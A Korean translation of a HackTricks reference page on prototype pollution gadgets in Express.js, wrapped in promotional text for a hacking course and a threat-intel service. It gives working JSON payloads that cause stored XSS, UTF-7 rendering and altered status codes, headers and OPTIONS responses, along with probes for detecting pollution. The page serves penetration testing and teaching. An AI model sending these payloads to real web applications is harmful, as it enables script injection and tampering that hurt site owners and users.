Express Prototype Pollution Gadgets

htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅까지 AWS 해킹 배우기

HackTricks를 지원하는 다른 방법:

WhiteIntel다크 웹을 통해 제공되는 무료 기능을 제공하는 검색 엔진으로, 회사나 그 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 확인하는 데 사용됩니다.

WhiteIntel의 주요 목표는 정보를 도난당한 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 확인하고 무료로 엔진을 시험해 볼 수 있습니다:


XSS 응답 제공

더 자세한 내용은 원본 연구를 확인하세요

JSON 콘텐츠 유형을 HTML로 변경

JSON 콘텐츠 유형 응답을 사용하는 익스프레스 앱에서 JSON을 반영하는 경우:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

이러한 경우에는 JSON 콘텐츠 유형으로는 일반적으로 XSS가 불가능합니다. 그러나 프로토타입 오염을 통해 Express가 HTML 응답을 제공하도록 혼란스럽게 만들 수 있습니다. 이 취약점은 응용 프로그램이 **res.send(obj)**를 사용하고 body parser를 사용하여 application/json 콘텐츠 유형을 사용하는 데 의존합니다.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

body_body 속성을 오염함으로써 Express가 HTML 콘텐츠 유형을 제공하고 _body 속성을 반영하여 저장된 XSS를 유발할 수 있습니다.

UTF7 렌더링

Express가 UTF-7 콘텐츠를 렌더링하도록 할 수 있습니다:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

안전한 스캐닝 기술

JSON 공백

다음 PP는 JSON 내의 속성에 추가 공백을 넣어 기능을 손상시키지 않습니다:

{"__proto__":{"json spaces": " "}}

그러면 반사된 JSON은 다음과 같이 보입니다:

{"foo":  "bar"} -- Note the extra space

노출된 헤더

다음 PP 가젯은 서버가 다음 HTTP 헤더를 보내도록 만듭니다: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

CORS 모듈이 설치되어 있어야합니다

OPTIONS 메소드

다음 payload를 사용하면 OPTIONS 응답에서 메소드를 숨길 수 있습니다:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

상태

다음 PP 페이로드를 사용하여 반환된 상태 코드를 변경할 수 있습니다:

{"__proto__":{"status":510}}

오류

원시 값인 문자열과 같은 것으로 프로토타입을 할당하면 프로토타입은 객체여야 하므로 no-op 작업이 생성됩니다. Object.prototype에 프로토타입 객체를 할당하려고 하면 예외가 발생합니다. 이 두 가지 동작을 사용하여 프로토타입 오염이 성공적으로 감지되었는지 확인할 수 있습니다:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

반사된 값

응용 프로그램이 응담에 객체를 포함하고 __proto__와 함께 비정상적인 이름의 속성을 생성하는 경우, 이는 통찰력을 제공할 수 있습니다. 특히 응답에 비정상적인 속성만 반환되는 경우, 이는 응용 프로그램의 취약점을 나타낼 수 있습니다:

{"unusualName":"value","__proto__":"test"}

또한 Lodash와 같은 라이브러리가 사용되는 시나리오에서는 프로토타입 오염(PP)을 통해 속성을 설정하고 객체 내부에 직접 설정하는 것이 다른 진단 접근 방법을 제공합니다. 응답에서 해당 속성이 누락된 경우, Lodash가 병합하기 전에 대상 객체에서 속성의 존재 여부를 확인하고 있음을 시사합니다:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

기타

점 허용

Express에는 쿼리 문자열 매개변수에서 객체를 생성하는 옵션이 있습니다. 이를 사용하여 프로토타입 오염 취약점을 악용하는 버그 체인을 만들 수 있습니다.

{"__proto__":{"allowDots":true}}

?foo.bar=baz는 Node에서 객체를 생성합니다.

참고 자료

WhiteIntel다크 웹을 기반으로 하는 검색 엔진으로, 회사나 그 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 확인하는 무료 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 무료로 엔진을 시험해 볼 수 있습니다:

제로부터 AWS 해킹을 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)와 함께!

HackTricks를 지원하는 다른 방법:

Last updated